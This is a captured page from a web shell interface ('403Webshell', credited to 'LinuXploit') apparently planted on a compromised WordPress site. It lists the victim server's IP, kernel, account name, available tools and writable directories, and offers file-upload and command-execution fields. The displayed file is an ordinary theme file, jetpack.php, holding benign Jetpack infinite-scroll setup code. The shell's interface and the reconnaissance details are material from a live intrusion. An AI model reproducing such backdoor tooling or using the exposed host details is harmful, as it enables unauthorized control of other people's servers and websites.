403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.136.18.192
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/themes/siteorigin-north/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/themes/siteorigin-north/inc//jetpack.php
<?php
/**
 * Jetpack Compatibility File
 * See: https://jetpack.me/
 *
 * @license GPL 2.0
 */
if ( ! function_exists( 'siteorigin_north_jetpack_setup' ) ) {
	/**
	 * Jetpack setup function.
	 */
	function siteorigin_north_jetpack_setup() {
		/*
		 * Enable support for Jetpack Infinite Scroll.
		 * See: https://jetpack.com/support/infinite-scroll/
		 */
		add_theme_support(
			'infinite-scroll',
			array(
				'container' => 'main',
				'render'    => 'siteorigin_north_infinite_scroll_render',
				'footer'    => 'page',
				'posts_per_page' => 9,
			)
		);
	} // end function siteorigin_north_jetpack_setup
}
add_action( 'after_setup_theme', 'siteorigin_north_jetpack_setup' );

if ( ! function_exists( 'siteorigin_north_infinite_scroll_render' ) ) {
	/**
	 * Custom render function for Infinite Scroll.
	 */
	function siteorigin_north_infinite_scroll_render() {
		if ( function_exists( 'is_woocommerce' ) && ( is_shop() || is_woocommerce() ) ) {
			echo '<ul class="products">';

			while ( have_posts() ) {
				the_post();
				wc_get_template_part( 'content', 'product' );
			}
			echo '</ul>';
		} else {
			while ( have_posts() ) {
				the_post();
				get_template_part( 'template-parts/content', get_post_format() );
			}
		}
	} // end function siteorigin_north_infinite_scroll_render
}

Youez - 2016 - github.com/yon3zu
LinuXploit